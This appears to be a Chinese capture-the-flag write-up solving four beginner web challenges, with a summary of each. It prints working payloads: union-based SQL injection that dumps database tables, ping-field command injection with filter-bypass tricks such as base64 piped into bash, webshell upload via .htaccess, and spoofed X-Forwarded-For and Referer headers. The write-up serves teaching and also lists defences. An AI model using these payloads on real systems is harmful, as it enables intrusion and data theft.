
一:Newscenter
打开为如下所示。

经过尝试,得知在输入框中输入数字可得到不同内容。

输入 23 就没有新闻。

所以我们得知这个输入框和数据库有交互,那这题考察的可能就是 SQL 注入。
发现将数据库中所有的内容都查询了出来,那这个题考察的就是 SQL 注入。

字段长度为 3。
23' order by 3 #

回显字段有 2,3。
23' union select 1,2,3 #

数据库名为 news。
23' union select 1,database(),3 #

表名为如下。
23' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="news" #

根据表名查到列名。
23' union select 1,group_concat(column_name),3 from information_schema.columns where table_name="secret_table" #

成功拿到 flag。
23' union select 1,fl4g,3 from secret_table #

二:upload1
发现有提示框提示需要上传图片,既然是提示框那就说明是前端验证。

关闭如下所示。

然后我们上传一张 php 即可。

用蚁剑连接即可,成功拿到 flag。

三:Xff_referer
打开提示我们 ip 必须为 123.123.123.123,那我们得知既然要 ip 来自于 123,那就需要进行伪造 ip 头也就是 X-Forwarded-For 字段。

打开 bp 进行抓包。
输入 X-Forwarded-For:123.123.123.123 进行伪造
发送后又提示我们来源为 google,来源字段是 referer。

伪造 referer 字段。

四:Command_execution
打开发现为 ping 功能,我们先随便 ping 一下然后再看看能否查看其他数据。

Ping 127.0.0.1 发现可以,那我们填写这样的 payload:127.0.0.1 | ls。

成功执行 ls,说明没有任何过滤。那接下来就可以查找 flag 了。

执行 127.0.0.1 |find / -name "fl*"。
发现可以文件如下。

成功拿到 flag。

五:总结
1. Newscenter(SQL 注入)
考察点
- SQL 注入漏洞:未对用户输入进行过滤,允许通过注入获取数据库信息。
- 联合查询(UNION 注入):通过构造联合查询语句获取敏感数据。
解题思路
- 探测注入点:在搜索框输入单引号
',观察是否存在报错。 - 判断字段数:使用
ORDER BY确定查询字段数(如' ORDER BY 3--)。 - 联合查询注入:
- 构造 Payload:
' UNION SELECT 1,2,database()--获取数据库名。 - 继续查询表名(如
information_schema.tables)、列名,最终读取flag字段。
- 构造 Payload:
关键技术
- 报错注入或布尔盲注(根据回显情况选择)。
- 利用
information_schema数据库获取元数据。
防御建议
- 使用预编译语句(Prepared Statements)。
- 对输入进行严格的字符过滤和转义。
2. upload1(文件上传漏洞)
考察点
- 文件上传绕过:绕过前端和后端对文件类型、内容的检测。
- Webshell 利用:上传马获取服务器权限。
解题思路
- 绕过前端验证:修改文件扩展名为
.php,并抓包修改Content-Type为image/jpeg。 - 绕过后端检测:使用图片马(在图片中嵌入 PHP 代码),或利用
.htaccess文件设置解析规则(如AddType application/x-httpd-php .jpg)。 - 访问上传文件:通过上传路径访问 Webshell,执行系统命令获取 flag。
关键技术
- 双写扩展名绕过(如
up.php.phtml)。 - 利用服务器解析漏洞(如 Apache 解析漏洞
test.php.xxx)。
防御建议
- 限制上传文件类型,使用白名单机制。
- 重命名上传文件,避免直接执行。
3. Xff_referer(HTTP 头伪造)
考察点
- HTTP 头伪造:伪造
X-Forwarded-For(XFF)和Referer头绕过访问控制。 - 本地访问限制:服务器仅允许特定来源或本地 IP 访问。
解题思路
- 伪造 XFF 头:使用 Burp Suite 拦截请求,添加
X-Forwarded-For: 127.0.0.1伪装本地 IP。 - 伪造 Referer 头:修改
Referer为题目指定域名(如http://www.google.com)通过验证。
关键技术
- 工具:Burp Suite/Postman 修改请求头。
- 理解 HTTP 头在访问控制中的作用。
防御建议
- 避免依赖客户端可控的字段(如 XFF、Referer)做权限验证。
- 使用服务器端会话机制管理权限。
4. Command_execution(命令注入)
考察点
- 命令注入漏洞:未过滤用户输入直接拼接系统命令。
- 绕过过滤技巧:绕过空格、关键词黑名单等限制。
解题思路
- 探测注入点:输入
127.0.0.1; ls尝试执行命令。 - 绕过过滤:
- 空格绕过:使用
${IFS}或%09(Tab 的 URL 编码)。 - 关键词绕过:用
ca\t或base64编码命令(如echo "Y2F0IGZsYWc=" | base64 -d | bash)。
- 空格绕过:使用
- 读取 flag:通过
cat或tac命令读取 flag 文件。
关键技术
- 命令分隔符:
;、&、|、||。 - 通配符绕过:
cat fla*。
防御建议
- 使用安全的 API(如
subprocess模块)替代直接执行命令。 - 严格校验输入,禁止特殊字符。


